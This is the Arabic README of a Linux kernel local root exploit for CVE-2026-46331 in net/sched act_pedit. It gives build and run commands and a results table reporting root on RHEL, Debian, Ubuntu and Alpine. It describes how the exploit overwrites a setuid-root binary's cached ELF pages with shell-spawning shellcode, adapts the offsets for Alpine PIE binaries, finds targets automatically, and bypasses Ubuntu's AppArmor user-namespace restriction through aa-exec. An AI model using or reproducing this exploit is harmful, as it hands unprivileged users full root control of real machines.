
استغلال CVE-2026-46331 لفساد ذاكرة التخزين المؤقت للصفحة في act_pedit، مع إصلاح Alpine PIE
net/sched act_pedit تلف في ذاكرة التخزين المؤقت للصفحات الجزئي-COW (المسبب 899ee91156e5، موجود من v5.18 .. تم إصلاحه في v7.1-rc7). packet_edit_meme.c يحوله إلى صلاحية جذر محلية غير مميزة: طفل userns يحمل صلاحية CAP_NET_ADMIN يستبدل بيانات ELF المخزنة مؤقتًا لملف ثنائي setuid-root مع شيلكود setgid(0)+setuid(0)+execve("/bin/sh").
make
./packet_edit_meme
./packet_edit_meme --ubuntu # AppArmor-gated Ubuntu: aa-exec bypass first
| التوزيعة | النواة | العلم | النتيجة |
|---|---|---|---|
| RHEL 10.0 | 6.12.0 | (لا شيء) | ROOT |
| Debian 13 trixie | 6.12.90+deb13.1 | (لا شيء) | ROOT |
| Ubuntu 24.04.4 | 6.17.0-22 | --ubuntu | ROOT |
| Alpine edge | 7.0.10-0-stable | (لا شيء) | ROOT |
يقوم Alpine Linux (musl) بتجميع ملفات PIE القابلة للتنفيذ حيث يبدأ مقطع PT_LOAD القابل للتنفيذ عند إزاحة ملف ≥ 0x1000 — أي يتجاوز حد إزاحة رأس TCP في pedit البالغ 511 بايت. يشغل رأس ELF ورؤوس البرامج أول PT_LOAD للقراءة فقط (إزاحة ملف 0). هذا الاستغلال المُكيّف:
يجعل الصفحة 0 قابلة للتنفيذ عن طريق إضافة PF_X إلى حقل p_flags الخاص بـ PT_LOAD الأول عند إزاحة ملف 0xB4 (phdr[2] + 4).
يقسم الشيلكود لتجنب إفساد رؤوس برامج LOAD الحرجة:
e_entry → 0x28 (حقل e_shoff لا يفحصه النواة وقت التنفيذ).0x28: jmp 0x1C8 بطول 5 بايتات.0x1C8، يستبدل رؤوس برامج PT_NOTE التي يتجاهلها النواة أثناء التنفيذ.يكتشف الهدف تلقائيًا وقت التشغيل عبر find / -xdev -type f -perm -4000 -user root بدلاً من ترميز المسارات. يتم استخدام أول ملف ELF ثنائي setuid-root قابل للقراءة عالميًا — يتم تخطي /bin/su في Alpine (-> /bin/bbsuid، ) تلقائيًا لأنه لا يمكن فتحه.
يمنع Ubuntu مساحات أسماء المستخدمين غير المقيّدة وغير المميّزة عبر اثنين من sysctl:
kernel.apparmor_restrict_unprivileged_userns # denies unconfined userns creation
kernel.apparmor_restrict_unprivileged_unconfined # forces unconfined change_profile to STACK,
# so an aa-exec permissive profile cannot
# shed the userns restriction
--ubuntu يعيد التنفيذ عبر aa-exec -p {trinity,chrome,flatpak} (ملفات تعريف تحمل قاعدة userns,).
| Ubuntu | userns | unconfined | تجاوز aa-exec |
|---|---|---|---|
| 24.04.4 | 1 | 0 | يعمل |
| 26.04 | 1 | 1 | مغلق |
مجمّع متقاطع ثابت x86_64-linux-gnu:
# Debian / Ubuntu
apt install gcc-x86-64-linux-gnu
# Alpine
apk add gcc musl-dev
---s--x--x